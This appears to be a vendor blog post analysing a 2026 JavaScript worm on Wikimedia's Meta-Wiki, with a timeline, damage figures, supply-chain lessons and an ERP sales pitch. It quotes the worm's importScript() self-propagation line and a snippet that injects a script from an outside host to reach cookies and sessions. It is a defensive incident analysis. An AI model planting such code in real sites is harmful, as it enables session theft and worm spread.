Wikipedia JavaScript Worm Attack

What Happened to Wikipedia? — Timeline of Events

Time	Event
March 2024	User Ololoshka562 uploads a malicious script at User:Ololoshka562/test.js on Meta-Wiki. The code appears to be a generic testing tool but conceals Worm functions inside.
2 Years Later (2024–2026)	The script sits dormant — no one knows it is malware because there is no Code Review system for User Scripts.
5 March 2026	A Wikimedia Foundation employee imports the script while testing Global API Limits, without reviewing the code first.
Minutes 1–23	Worm activates: spreads itself, modifies 3,996 pages, hijacks 85 User Scripts, injects XSS, deletes articles, vandalizes pages with images.
Minute 23	Security team detects and stops the Worm, reverting all changes.

How Did the JavaScript Worm Work? — Technical Attack Analysis

The malicious script at User:Ololoshka562/test.js performed 4 things simultaneously:

1. Self-Propagation

The Worm used the MediaWiki API to modify User:Common.js files of other users, injecting an importScript() line so that every time those users visited the site, the malicious script would execute again and keep spreading:

// What the Worm injected into the victim's User:Common.js file
importScript('User:Ololoshka562/test.js');

// when the victim opens any Wikipedia page
// the script loads and executesAutomated
// then spreads to other users' User:Common.js files

2. MediaWiki Global Injection

In addition to spreading through User Scripts, the Worm also attempted to modify MediaWiki:Common.js which is a JavaScript file that loads every time for every user on the wiki. If successful, every user would be infected upon visiting the site

3. Article Vandalism

The Worm edited articles on Meta-Wiki by inserting images, deleting content, and corrupting pages — including randomly deleting articles.

4. XSS Injection from an External Server

// ExampleInjection pattern External Script (XSS)
// The malicious script creates a <script> tag pointing to an external server
var s = document.createElement('script');
s.src = 'https://basemetrika.ru/malicious.js';
document.head.appendChild(s);

// When the External Script loads successfully
// it can access all DOM, Cookie, and Session data

Actual Damage

Metric	Count	Details
Attack Duration	23 minutes	From when the Worm activated until it was stopped
Pages Modified	3,996 pages	Articles, User Pages, and User Scripts
User Scripts Hijacked	85 scripts	Injected with importScript() to propagate the Worm further
Personal Data Leaked	0	No personal user data was leaked
Permanent Damage	0	All changes successfully reverted

What Is a Supply Chain Attack — And Why Does This Incident Matter?

Supply Chain Attack is an attack that does not breach systems directly, but embeds itself in code, libraries, or tools that organizations trust and adopt. This Wikipedia incident is a classic example because:

• Malicious code was dormant for 2 years without being detected — because it lived in a User Script with no Review system.
• The person who triggered the Worm was an internal employee, not an external hacker — showing that the threat came from "trusting" unreviewed code.
• No password cracking or vulnerability exploitation needed — just plant malicious code somewhere people will naturally use it.

Attack Type	Method	Real-World Example
Direct Attack	Breach systems directly (Brute Force, Exploit)	Guessing passwords to gain Admin Panel access
Phishing	Trick users into revealing credentials	Fake emails requesting passwords
Supply Chain Attack	Embed malicious code in trusted tools/libraries	This Wikipedia Worm incident, SolarWinds (2020), XZ Utils (2024)

5 Lessons Every Organization Must Learn

Lesson 1: Never Trust External Code Without Review

The Wikimedia employee used importScript() to import code written by another user without reading it first. Whether it is a JavaScript Library, npm Package, Python Module, or even a WordPress Plugin — everything must go through Code Review before entering the production system.

Lesson 2: Dormant Malware Can Survive 2 Years

The malicious script was uploaded in March 2024 but no one knew until it was triggered in March 2026. Organizations without a Periodic Security Audit system may similarly have malicious code lurking in their systems without knowing it.

Lesson 3: Access Rights Must Follow Least Privilege

The Worm was able to modify MediaWiki:Common.js (Global JavaScript) because the infected users had Admin privileges. Restricting access under the Least Privilege principle limits damage when an incident occurs. Read more about organizational security systems.

Lesson 4: Audit Trail and Monitoring Are Essential

What allowed the Wikimedia security team to detect the Worm within 23 minutes was a Monitoring system that detected abnormally high volumes of edits. Without it, the Worm could have run far longer. Having a multi-factor authentication (2FA) system also helps prevent unauthorized access.

Lesson 5: Always Have an Incident Response Plan

Wikimedia was able to stop the Worm, revert 3,996 page changes, and restore the system quickly because it had a clear Incident Response Plan and a Version Control (History) system that allowed reverting changes. Read more about Disaster Recovery planning.

Comparison: Organizations Ready vs. Not Ready for Supply Chain Attacks

Aspect	Unprepared Organization	Prepared Organization
Code Review	Does not review external code	All code must pass Review before Deploy
Access Control	Everyone has Admin rights	Role-based access (Least Privilege)
Monitoring	Only checks logs when problems arise	Automated 24/7 alert system
Security Audit	Never audited	Reviewed periodically (Quarterly/Annually)
Incident Response	Reacts ad hoc to incidents	Has a plan and drills regularly
Backup/Recovery	None, or never tested	Automated Backup + regular Restore testing

Saeree ERP and Supply Chain Security

Although this incident happened on Wikipedia — an open platform — the same security principles apply directly to ERP systems in any organization. Saeree ERP is designed with these security considerations in mind:

Principle	How Saeree ERP Implements It
Role-Based Access Control	Defines permissions by role — users see only data and functions relevant to their own work.
Audit Trail	Records every action (create, edit, delete, approve) with username, timestamp, and full details — 100% traceable.
Input Validation	Prevents SQL Injection and XSS using Parameterized Queries and Output Encoding.
Secure Development	Every line of code undergoes Code Review and Testing before any new version is released.
Approval Workflow	Critical transactions require multi-level approval, preventing unauthorized changes.

Checklist: Defending Against Supply Chain Attacks in Your Organization

1. Code Review every time before importing external code into your system — whether it is a Library, Plugin, or Script.
2. Limit access under Least Privilege — not everyone should have Admin rights or be able to modify system files.
3. Enable 2FA (Two-Factor Authentication) for high-privilege accounts.
4. Audit Dependencies — scan libraries in use with SCA (Software Composition Analysis) regularly.
5. Monitoring + Alerts — set up alerts for anomalous behavior (e.g., large numbers of file modifications in a short time).
6. Periodic Security Audits — review code and access permissions at least once a year.
7. Incident Response Plan — prepare and drill a security incident plan regularly.
8. Backup + Version Control — ensure you can revert when an incident occurs.

Code that looks safe today may be malware waiting to be triggered. Trust must come with verification — not instead of it.

— Saeree ERP Team

Summary — What the Wikipedia Worm Incident Teaches Us

Issue	What Happened	Lesson
Root Cause	Malicious script dormant for 2 years	Audit every piece of code before use
Trigger	Internal employee imported without reviewing	Code Review must be a mandatory step
Impact	3,996 pages modified, 85 User Scripts hijacked	Access control + Monitoring reduces damage
Recovery	100% reverted, no data leaked	Version Control + Incident Response Plan

References

• Wikimedia Meta-Wiki — Recent Changes Log
• MediaWiki Manual — Interface JavaScript
• CISA — Supply Chain Risk Management
• OWASP — Cross-Site Scripting (XSS) Attack

If your organization is looking for an ERP system with enterprise-grade security, a complete Audit Trail, and strict access control, you can schedule a Demo or contact our advisory team to assess your organization's readiness.